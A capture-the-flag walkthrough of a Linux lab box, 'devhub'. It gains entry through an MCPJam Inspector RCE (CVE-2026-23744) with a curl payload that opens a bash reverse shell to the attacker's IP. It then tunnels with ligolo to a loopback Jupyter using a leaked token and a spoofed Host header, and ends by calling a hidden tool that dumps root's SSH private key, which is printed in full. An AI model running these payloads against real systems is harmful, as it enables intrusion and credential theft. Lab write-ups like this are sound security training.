Introduction #
A medium Linux box that is a chain of exposed internal services. The front door is an MCPJam Inspector instance with a CVE-2026-23744 RCE, which drops me in as mcp-dev. From there it’s all pivoting: tunnel into a loopback-only Jupyter with ligolo, fight through a Host-header check, and use a notebook for analyst account and the user flag. Root is simple an internal “ops” MCP server with a hidden tool that dumps /root/.ssh/id_rsa to anyone with the API key, which is sitting plaintext in a script.
Recon #
nmap #
nmap finds two of TCP ports:
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.245.216
sCfor defaults scriptssVenumerate versionvvdouble verboseoAoutput in all formats
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:78:2e:79:0d:87:13:05:2f:53:8e:e7:3c:55:b6:4c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPWeIVAL8xAfqZkJzRocGOpKCgXQk807PgJQqBcvDCiTcyFYlXvFY0v+sI1XXnYKghVRDkCxYy23sjlFMceuifE=
| 256 dd:56:8e:bc:da:b8:38:3e:9a:cd:0b:74:ee:53:85:f8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAWDVyu6UXTR8XbXiFXOJx0xwUVCRheT9hT20o1VbEht
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://devhub.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add devhub.htb to /etc/hosts
Web - TCP 80 #
Looking at the website there is not much going on, it is a Internal Development & Analytics Platform with no interactive features:

There is one hint:

Supposed open port 6274 that was not found by the initial nmap scan.
Subsequent scan confirms this port:
└─$ nmap -sC -sV -p 6274 10.129.245.216
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-10-09 02:38 EDT
Nmap scan report for devhub.htb (10.129.245.216)
Host is up (0.017s latency).
PORT STATE SERVICE VERSION
6274/tcp open unknown
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 200 OK
| access-control-allow-credentials: true
| content-length: 466
| content-type: text/html; charset=utf-8
| vary: Origin
| Date: Fri, 09 Oct 2026 06:38:56 GMT
| Connection: close
| <!doctype html>
| <html lang="en">
| <head>
| <meta charset="UTF-8" />
| <link rel="icon" type="image/svg+xml" href="/mcp_jam.svg" />
| <meta name="viewport" content="width=device-width, initial-scale=1.0" />
| <title>MCPJam Inspector</title>
| <script type="module" crossorigin src="/assets/index-DRYhT9Xb.js"></script>
| <link rel="stylesheet" crossorigin href="/assets/index-XvFRNbCs.css">
| </head>
| <body>
| <div id="root"></div>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 204 No Content
| access-control-allow-credentials: true
| access-control-allow-methods: GET,HEAD,PUT,POST,DELETE,PATCH
| vary: Origin
| content-type: text/plain; charset=UTF-8
| Date: Fri, 09 Oct 2026 06:38:56 GMT
|_ Connection: close
and there is MCPJam running:

From settings I can get a version: 1.4.2

CVE-2026-23744 #
Conveniently placed link to GitHub repo leads me directly to the next step. In the Security tab there is Critical level vulnerability REC in MCPJam inspector due to HTTP Endpoint exposes known as CVE-2026-23744
Following the PoC example from the Advisory I send a POST request:
└─$ curl -v -X POST 'http://devhub.htb:6274/api/mcp/connect' -H 'Content-Type: application/json' -d '{"serverConfig":{"command":"/bin/bash","args":["-c","/bin/bash -i >& /dev/tcp/10.10.15.23/4444 0>&1"],"env":{}},"serverId":"rce_test"}'
Note: Unnecessary use of -X or --request, POST is already inferred.
* Host devhub.htb:6274 was resolved.
* IPv6: (none)
* IPv4: 10.129.245.216
* Trying 10.129.245.216:6274...
* Connected to devhub.htb (10.129.245.216) port 6274
* using HTTP/1.x
> POST /api/mcp/connect HTTP/1.1
> Host: devhub.htb:6274
> User-Agent: curl/8.14.1
> Accept: */*
> Content-Type: application/json
> Content-Length: 134
>
* upload completely sent off: 134 bytes
And caught a shell on an awaiting listener:
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.23] from (UNKNOWN) [10.129.245.216] 49976
bash: cannot set terminal process group (1098): Inappropriate ioctl for device
bash: no job control in this shell
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$
Pivoting to Internal Services #
As I know from the homepage, there should be an Analytics Dashboard running at localhost:8888:

And there is, also there is something new on localhost:5000
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:8888 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:6274 0.0.0.0:* users:(("node-MainThread",pid=1341,fd=29))
tcp LISTEN 0 128 127.0.0.1:5000 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ curl -i http://localhost:5000
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 150 100 150 0 0 52083 0 --:--:-- --:--:-- --:--:-- 75000
HTTP/1.1 200 OK
Server: Werkzeug/3.1.6 Python/3.10.12
Date: Fri, 09 Oct 2026 08:07:29 GMT
Content-Type: application/json
Content-Length: 150
Connection: close
{"auth":"Required - X-API-Key header","endpoints":["/tools/list","/tools/call","/health"],"server":"OPSMCP","status":"operational","version":"2.1.0"}
I get stopped by "auth":"Required - X-API-Key header", dead end for now.
Checking processes related to the jupyter dashboard I discover this:
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ ps aux | grep jupyter
analyst 1097 0.0 2.4 182536 96324 ? Ss 06:26 0:05 /home/analyst/jupyter-env/bin/python3 /home/analyst/jupyter-env/bin/jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password= --ServerApp.allow_origin= --ServerApp.disable_check_xsrf=False
root 1102 0.0 0.7 111108 28996 ? Ss 06:26 0:01 /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py
mcp-dev 1655 0.0 0.0 3472 1512 ? S 08:12 0:00 grep --color=auto jupyter
A token, that I should be able to use for login:
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ curl -i http://localhost:8888/lab
<mcpjam/inspector$ curl -i http://localhost:8888/lab
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
HTTP/1.1 302 Found
Server: TornadoServer/6.5.4
Content-Type: text/html; charset=UTF-8
Date: Fri, 09 Oct 2026 08:20:25 GMT
X-Content-Type-Options: nosniff
Content-Security-Policy: frame-ancestors 'self'; report-uri /api/security/csp-report
Location: /login?next=%2Flab
Content-Length: 0
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ curl -i http://localhost:8888/lab?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
</lab?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0HTTP/1.1 200 OK
Server: TornadoServer/6.5.4
Content-Type: text/html; charset=UTF-8
Date: Fri, 09 Oct 2026 08:20:58 GMT
X-Content-Type-Options: nosniff
Content-Security-Policy: frame-ancestors 'self'; report-uri /api/security/csp-report
Access-Control-Allow-Origin:
Etag: "371ff6a6944f2f67bb991021c1f44a77d9d1de96"
Content-Length: 4592
Set-Cookie: username-localhost-8888="2|1:0|10:1791534058|23:username-localhost-8888|200:eyJ1c2VybmFtZSI6ICI5MmZkMTk5NjA4MTQ0MzczODhkZmEwMzUzMGJjYjk5ZiIsICJuYW1lIjogIkFub255bW91cyBBbWFsdGhlYSIsICJkaXNwbGF5X25hbWUiOiAiQW5vbnltb3VzIEFtYWx0aGVhIiwgImluaXRpYWxzIjogIkFBIiwgImNvbG9yIjogbnVsbH0=|1c5f24d26240ea30c8999aec25683690671992ded44e1fb5290c5f01172b4986"; expires=Sun, 08 Nov 2026 08:20:58 GMT; HttpOnly; Path=/
Set-Cookie: _xsrf=2|66058a60|c3ff2619667261d8728bf870dbc7ff61|1791534058; expires=Sun, 08 Nov 2026 08:20:58 GMT; Path=/
<!doctype html><html lang="en"><head><meta charset="utf-8">
<SNIP>
It worked, now I need to truly look at what I have, for that I need to set up ligolo.
Ligolo port-forward #
The Jupyter instance is listening on localhost only:
analyst 1097 0.0 2.4 182536 96324 ? Ss 06:26 0:05 /home/analyst/jupyter-env/bin/python3 /home/analyst/jupyter-env/bin/jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password= --ServerApp.allow_origin= --ServerApp.disable_check_xsrf=False
Since it’s --ip=127.0.0.1, http://10.129.245.216:8888 from outside just refuses, nothing listens on eth0. I need a tunnel that lands on the agent’s loopback.
Setup #
Transfer agent to the host:
mcp-dev@devhub:~$ wget http://10.10.15.23:8082/linux_agent
--2026-10-09 08:25:49-- http://10.10.15.23:8082/linux_agent
Connecting to 10.10.15.23:8082... connected.
HTTP request sent, awaiting response... 200 OK
Proxy on my machine:
└─$ ./linux_proxy -selfcert -laddr 0.0.0.0:9001
Agent on the target:
./linux_agent -connect 10.10.15.23:9001 -ignore-cert
Agent joins, then in the ligolo console pick the session and start the tunnel:
ligolo-ng » INFO[0150] Agent joined. id=a2dead151d0d name=mcp-dev@devhub remote="10.129.245.216:37840"
Routing to the agent’s loopback #
Normally I would route the target subnet through ligolo. That fails here because the HTB VPN already owns it:
└─$ sudo ip route add 10.129.0.0/16 dev ligolo
# RTNETLINK answers: File exists
But I want only the box’s loopback. Ligolo maps the magic address 240.0.0.1 to the agent’s 127.0.0.1.
Route just that single host, so there is no collision with the VPN’s /16:
└─$ sudo ip route add 240.0.0.1/32 dev ligolo
└─$ sudo ip link set ligolo up
└─$ ip route | grep ligolo
240.0.0.1 dev ligolo scope link
All should be set up.
[Agent : mcp-dev@devhub] » start
INFO[0043] Starting tunnel to mcp-dev@devhub (a2dead151d0d)
Gotcha #
Routing works now but the service answers 403:
└─$ curl -i "http://240.0.0.1:8888/lab?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
# HTTP/1.1 403 Forbidden
Same token that returned 200 on the box. The issue isn’t the token, as I originally thought it expired, it’s the Jupyter’s Host-header check. Jupyter only trusts requests whose Host looks local. On a loopback bind (--ip=127.0.0.1) allow_remote_access defaults to off, so anything that doesn’t resolve to a known local hostname gets a flat 403 before the token is considered.
Reaching it through 240.0.0.1 means the request carries Host: 240.0.0.1:8888, so it’s rejected even with a valid token.
On the box itself the Host was localhost:8888, which is exactly why the identical request worked there.
To fix that I need to make the request look like it came from localhost.
Spoof the Host header:
curl -i -H "Host: localhost:8888" "http://240.0.0.1:8888/lab?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
# HTTP/1.1 200 OK
Browser access is a little more complicated, I can’t easily spoof Host there, so I present the service as genuine localhost with a local relay.
└─$ socat TCP-LISTEN:8888,fork,reuseaddr TCP:240.0.0.1:8888
Now the browser connects to my own localhost:8888, so it sends Host: localhost:8888, Jupyter accepts it, and socat forwards it over the tunnel to the agent’s loopback and I can see the website:

User Flag #
Ok, I am in, now I just need to create new Notebook, paste a reverse shell there and run it:

The code executes and I get a shell on my listener:
└─$ nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.10.15.23] from (UNKNOWN) [10.129.245.216] 56228
bash: cannot set terminal process group (1805): Inappropriate ioctl for device
bash: no job control in this shell
analyst@devhub:~/notebooks$ id
id
uid=1002(analyst) gid=1002(analyst) groups=1002(analyst)
analyst@devhub:~/notebooks$ cat /home/analyst/user.txt
cat /home/analyst/user.txt
5046febdb95286d77b95f87d5fc5a3e1
Root #
as analyst I have access to the /opt/opsmcp/server.py I could not read earlier as mcp-dev:
analyst@devhub:~$ cat /opt/opsmcp/server.py
#!/usr/bin/env python3
"""
OPSMCP - Operations MCP Server
Internal tool for system operations management
"""
from flask import Flask, jsonify, request
import os
app = Flask(__name__)
# API Key for authentication
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"
# Registered tools (visible)
VISIBLE_TOOLS = {
"ops.system_status": {
"description": "Get system status and health metrics",
"parameters": {}
},
"ops.list_services": {
"description": "List running services",
"parameters": {}
},
"ops.check_disk": {
"description": "Check disk usage",
"parameters": {}
},
"ops.view_logs": {
"description": "View recent system logs",
"parameters": {"service": "string"}
}
}
# Hidden tools (not in /tools/list but callable)
HIDDEN_TOOLS = {
"ops._admin_dump": {
"description": "Emergency credential dump - INTERNAL ONLY",
"parameters": {"target": "string", "confirm": "boolean"}
},
"ops._debug_mode": {
"description": "Enable debug mode",
"parameters": {}
}
}
ALL_TOOLS = {**VISIBLE_TOOLS, **HIDDEN_TOOLS}
def check_auth():
"""Check API key authentication"""
api_key = request.headers.get('X-API-Key', '')
return api_key == VALID_API_KEY
@app.route('/')
def index():
return jsonify({
"server": "OPSMCP",
"version": "2.1.0",
"status": "operational",
"endpoints": ["/tools/list", "/tools/call", "/health"],
"auth": "Required - X-API-Key header"
})
@app.route('/health')
def health():
return jsonify({"status": "healthy", "uptime": "14d 3h 22m"})
@app.route('/tools/list')
def list_tools():
if not check_auth():
return jsonify({"error": "Unauthorized", "message": "Valid X-API-Key header required"}), 401
return jsonify({
"tools": list(VISIBLE_TOOLS.keys()),
"count": len(VISIBLE_TOOLS),
"details": VISIBLE_TOOLS
})
@app.route('/tools/call', methods=['POST'])
def call_tool():
if not check_auth():
return jsonify({"error": "Unauthorized", "message": "Valid X-API-Key header required"}), 401
data = request.get_json() or {}
tool_name = data.get('name', '')
args = data.get('arguments', {})
if not tool_name:
return jsonify({"error": "Tool name required"}), 400
if tool_name not in ALL_TOOLS:
return jsonify({"error": f"Unknown tool: {tool_name}"}), 404
# Execute tool
if tool_name == "ops.system_status":
return jsonify({
"cpu": "23%",
"memory": "1.2GB/4GB",
"load": "0.45",
"status": "nominal"
})
elif tool_name == "ops.list_services":
return jsonify({
"services": [
{"name": "nginx", "status": "running", "pid": 1234},
{"name": "opsmcp", "status": "running", "pid": 5678},
{"name": "jupyter", "status": "running", "pid": 9012},
{"name": "mcpjam", "status": "running", "pid": 3456}
]
})
elif tool_name == "ops.check_disk":
return jsonify({
"filesystems": [
{"mount": "/", "used": "4.2G", "available": "15G", "percent": "22%"},
{"mount": "/home", "used": "1.1G", "available": "8G", "percent": "12%"}
]
})
elif tool_name == "ops.view_logs":
service = args.get('service', 'system')
return jsonify({
"service": service,
"logs": [
"[2026-01-22 10:00:01] Service started",
"[2026-01-22 10:00:02] Listening on configured port",
"[2026-01-22 10:15:33] Health check passed",
"[2026-01-22 11:00:00] Routine maintenance completed"
]
})
elif tool_name == "ops._debug_mode":
return jsonify({
"debug": True,
"message": "Debug mode enabled",
"hidden_tools": list(HIDDEN_TOOLS.keys()),
"note": "Debug endpoints now accessible"
})
elif tool_name == "ops._admin_dump":
target = args.get('target', '')
confirm = args.get('confirm', False)
if not confirm:
return jsonify({
"error": "Confirmation required",
"usage": "Set confirm=true to proceed",
"warning": "This dumps sensitive credentials"
})
if target == "ssh_keys":
try:
with open('/root/.ssh/id_rsa', 'r') as f:
key_data = f.read()
return jsonify({
"target": "ssh_keys",
"root_private_key": key_data,
"note": "Emergency recovery key dump"
})
except Exception as e:
return jsonify({
"target": "ssh_keys",
"error": f"Could not read key: {str(e)}"
})
elif target == "passwords":
return jsonify({
"target": "passwords",
"dump": {
"root": "$6$rounds=656000$saltsalt$hashedpassword",
"analyst": "JupyterN0tebook!2026",
"mcp-dev": "Mcp!Insp3ct0r2026"
}
})
elif target == "tokens":
return jsonify({
"target": "tokens",
"api_tokens": {
"admin_token": "opsmcp_admin_7f3b9c2d1e4f5a6b",
"service_token": "opsmcp_svc_8c9d0e1f2a3b4c5d"
}
})
else:
return jsonify({
"error": "Invalid target",
"valid_targets": ["ssh_keys", "passwords", "tokens"]
})
return jsonify({"error": "Tool execution failed"}), 500
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)
And there is everything in there, API key: opsmcp_secret_key_4f5a6b7c8d9e0f1a, and tools like ops._admin_dump that will print me /root/.ssh/id_rsa if I specify target == "ssh_keys".
Truly an easy path to root.
analyst@devhub:~$ curl localhost:5000
curl localhost:5000
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 150 100 150 0 0 53667 0 --:--:-- --:--:-- --:--:-- 75000
{"auth":"Required - X-API-Key header","endpoints":["/tools/list","/tools/call","/health"],"server":"OPSMCP","status":"operational","version":"2.1.0"}
I send the request with the discovered API key and the ops._admin_dump and I get an SSH key for root:
analyst@devhub:~$ curl -s -X POST 'http://localhost:5000/tools/call' -H 'X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a' -H "Content-Type: application/json" -d '{"name": "ops._admin_dump", "arguments": {"confirm": true, "target": "ssh_keys"}}'
{"note":"Emergency recovery key dump","root_private_key":"-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAwWHw4Iv8yDwyqOacO5uB2OFr/RaD1TF192ptgJXu0vj5STypOUH9\nG/jqltqP312IONAX9LwvTne81E4h+hi2xdjwgvh27iE4AvCQolR8S0GWHwHQjjXVQ5/dHX\n8MA96Qabow623zQe5D6PUAsFj6aWP5fDceIziAxkLIMgpsE6I0bWOKaGmgEG0rW1I/mw8z\n6HmooVORQsQoTaVUhnUmRJRcLpQEu94hzb+0kQ0ObKikcDTnit1kQ/7ZUOoyGhUgEwVk/n\nGhm2D96OW/JLpMIowwDxnka+3l9u5Aj55Y9fWN9aGld5pVvcoPRZ7twODIbXNSjzWsLQRQ\n7l8/a2M+aQAAA8BGnYWeRp2FngAAAAdzc2gtcnNhAAABAQDBYfDgi/zIPDKo5pw7m4HY4W\nv9FoPVMXX3am2Ale7S+PlJPKk5Qf0b+OqW2o/fXYg40Bf0vC9Od7zUTiH6GLbF2PCC+Hbu\nITgC8JCiVHxLQZYfAdCONdVDn90dfwwD3pBpujDrbfNB7kPo9QCwWPppY/l8Nx4jOIDGQs\ngyCmwTojRtY4poaaAQbStbUj+bDzPoeaihU5FCxChNpVSGdSZElFwulAS73iHNv7SRDQ5s\nqKRwNOeK3WRD/tlQ6jIaFSATBWT+caGbYP3o5b8kukwijDAPGeRr7eX27kCPnlj19Y31oa\nV3mlW9yg9Fnu3A4Mhtc1KPNawtBFDuXz9rYz5pAAAAAwEAAQAAAQAjgZkZkXpjRXJDwrvS\n0fWgXZtXR8gC3+b5+4eJgX3tLJuQz9t+UNhpR2XDNvQNnf3B+Ks9W0QQUznPfV0Nr3X3k6\nJtWbN0e5LuLz9PHtYHd05Z+RpS0h2LIhIWNVp+Z2H6l54dy/1LELVVU47B0kSAD0Qig3g8\nHUa/oEljrrgzTlYflRHhkHQblmd9ZaClUoxIDh0zf2Esmp3nIRBm4J1OX5UQPiPEa7/LkB\ndcQr1K4Z1pbZglc5wPUJZCv8MtVPvW9rCgERl9Sl4bKevsgS4mMMUvVxNdqyasYqNAXi/L\nCvk9YYP9PS4q1dfCYMIvsJJNyoBtUiCJwqW2ba6hs1vVAAAAgDEPkj6UOdX1B872cHrja2\nnkahzlja7GZw3G2+hsib4kH/G1nwQs9RRtnzqf/mrXeEhxB27ZN+QE39e7yTC3r6f84mSn\nMz/gS3Czh6DtP+S18jV4xCeac/SoLuxgLvPZ3xnHWvPO6HePQzyVlVk/MBfp+yPrCpIiHK\nMtVMaeJXFYAAAAgQDSlTQAPhkFhsswOcohRO+1hd/4xdD9UECem1ytsb5/on47/GEWvtQI\noocmAAMvEYlOvs8GXeYkMBAwi5VCjLunNBCmuRMjTEgE7lqgdhfkK0Lx/a4BWnYaki+xbk\nJt9XB5f2NlmnT4A5QqiO+qPYA2i1iF9CSv5ypxqHFChgMZNwAAAIEA6xcR6lBjwgtKuzRQ\nnI+f8DFRxcdfKY1gs0BmfS0RRxwDzIEwJHYafyHnq/CKBTDPCYyn/VI+mF64hhtjUbDgAr\nC8X6q/4LJecp3piSHgv6yXhpzkxtz+Q/JSXPFf/9NAgVFQtUjrrnGZbP9kNySaX6q6/npK\nlFORwv9PYfxftV8AAAALcm9vdEBkZXZodWI=\n-----END OPENSSH PRIVATE KEY-----\n","target":"ssh_keys"}
The last step is to simply update the output: the key is one long line full of literal \n characters instead of actual newlines.
OpenSSH keys are strictly formatted, the header, the base64 body wrapped at 70 chars, and the footer all have to be on their own real lines.
To fix this simply convert the literal \n back into actual newlines:
└─$ nano ssh_key
└─$ printf '%b' "$(cat ssh_key)" > ssh_key_fixed
└─$ chmod 600 ssh_key_fixed
With that done just grab the root flag!
└─$ ssh -i ssh_key_fixed root@10.129.245.216
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-179-generic x86_64)
<SNIP>
root@devhub:~# cat root.txt
6005e5c0bb760340801bb5e0c1955fe5